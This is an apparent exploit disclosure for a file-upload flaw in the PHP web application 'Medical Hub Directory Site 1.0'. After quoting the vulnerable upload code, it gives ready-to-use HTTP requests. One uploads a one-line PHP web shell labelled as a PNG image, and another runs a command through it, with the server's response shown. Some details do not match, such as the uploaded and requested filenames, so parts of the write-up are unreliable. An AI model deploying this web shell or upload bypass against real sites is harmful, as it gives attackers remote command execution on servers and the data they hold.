Medical Hub Directory Site 1.0 Shell Upload

`# Title: Medical Hub Directory Site 1.0 Shell Upload  
# Author: Hejap Zairy  
# Date: 30.07.2022  
# Vendor: https://www.sourcecodester.com/php/15252/simple-medical-hub-directory-site-phpoop-source-code.html  
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/mhds.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
  
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw  
  
  
#vulnerability Code php  
Needs more filtering to upload profile files  
  
php```  
$img_err= "";  
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){  
$fname = 'uploads/system-logo.png';  
$dir_path =base_app. $fname;  
$upload = $_FILES['img']['tmp_name'];  
$type = mime_content_type($upload);  
$allowed = array('image/png','image/jpeg');  
if(!in_array($type,$allowed)){  
$img_err.=" But Logo Image failed to upload due to invalid file type.";  
}else{  
// $new_height = 200;   
// $new_width = 200;   
  
list($width, $height) = getimagesize($upload);  
$t_image = imagecreatetruecolor($width, $height);  
$black = imagecolorallocate($t_image, 0, 0, 0);  
imagecolortransparent($t_image, $black);  
imagealphablending( $t_image, false );  
imagesavealpha( $t_image, true );  
$gdImg = ($type == 'image/png')? imagecreatefrompng($upload) : imagecreatefromjpeg($upload);  
imagecopyresampled($t_image, $gdImg, 0, 0, 0, 0, $width, $height, $width, $height);  
if($gdImg){  
if(is_file($dir_path))  
unlink($dir_path);  
$uploaded_img = imagepng($t_image,$dir_path);  
if($uploaded_img){  
if(isset($_SESSION['system_info']['logo'])){  
$qry = $this->conn->query("UPDATE system_info set meta_value = CONCAT('{$fname}','?v=',unix_timestamp(CURRENT_TIMESTAMP)) where meta_field = 'logo' ");  
}else{  
$qry = $this->conn->query("INSERT into system_info set meta_value = CONCAT('{$fname}','?v=',unix_timestamp(CURRENT_TIMESTAMP)),meta_field = 'logo' ");  
}  
}  
imagedestroy($gdImg);  
imagedestroy($t_image);  
}else{  
$img_err.=" But Logo Image failed to upload due to unkown reason.";  
}  
}  
}  
```  
  
  
[+] Payload POST  
  
  
```  
POST /mhds/admin/?page=manage_account HTTP/1.1  
Host: 0day.gov  
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738  
Content-Length: 882  
Origin: https://0day.gov  
Referer: https://0day.gov/mhds/  
Upgrade-Insecure-Requests: 1  
Te: trailers  
Connection: close  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productName"  
Hejap Zairy  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"  
Content-Type: image/png  
  
<?=`$_GET[515]`?>  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="submit"  
-----------------------------409902128312379197203124536738--  
```  
  
  
#Status: CRITICAL  
  
[+] Payload GET  
  
```  
GET /mhds/uploads/users/0day_hejap.png.php?515=echo+Hejap+Zairy HTTP/1.1  
  
Host: 0day.gov  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41  
Upgrade-Insecure-Requests: 1  
  
  
  
  
```  
  
#Response   
```  
HTTP/1.1 200 OK  
Date: Thu, 30 Mar 2022 11:15:56 GMT  
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27  
X-Powered-By: PHP/7.4.27  
Content-Length: 12  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
Hejap Zairy  
```  
  
  
# Description:  
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.  
  
  
# Proof and Exploit:  
https://i.imgur.com/N9rKLB4.png  
https://i.imgur.com/CrpqRox.png  
https://i.imgur.com/Un1sM4Q.png  
  
  
  
`